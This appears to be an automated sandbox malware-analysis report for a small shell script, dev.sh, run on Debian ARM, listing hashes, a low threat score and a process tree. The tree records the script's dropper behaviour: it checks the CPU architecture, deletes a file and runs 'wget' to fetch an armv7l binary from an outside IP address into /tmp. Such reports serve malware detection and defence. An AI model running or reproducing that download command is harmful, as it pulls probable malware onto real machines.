dbcdec1fd80792f4e2ab148845a976dc02cad9db96e72bad4434bc298fc02ea5

Analysis

max time kernel
144s
max time network
146s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
27/10/2026, 04:42

Target
dev.sh
Size 1KB
Sample261027-fbwgss1wev
SHA256 dbcdec1fd80792f4e2ab148845a976dc02cad9db96e72bad4434bc298fc02ea5
MD5 4988854e751c18ea1d0e1353c70c9860
SHA1 90a7322223841e97bcf537b6aa6187f82f3d2fa3
SHA512 358177121084cb9608e31affaf9098eef2091bcc9426511181347878283db20a1b27fa0c554f6c889f5098bc39bcd66e0ec6278921711b1119a3354233e7c58f
TLSH
T1772139F3F5B09C31B408842CFE4D669469874A7F45E4BD5684D6BC20BA5C41A945EF32
MD5 SHA1 SHA512 TLSH

Score

3^/10

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/q	wget

/tmp/dev.sh
/tmp/dev.sh
1⤵
PID:650
- /bin/uname
  uname -m
  2⤵
  PID:651
- /bin/rm
  rm -f q
  2⤵
  PID:654
- /usr/bin/wget
  wget -q -O q http://31.56.209.86/armv7l
  2⤵
  - Writes file to tmp directory
  PID:656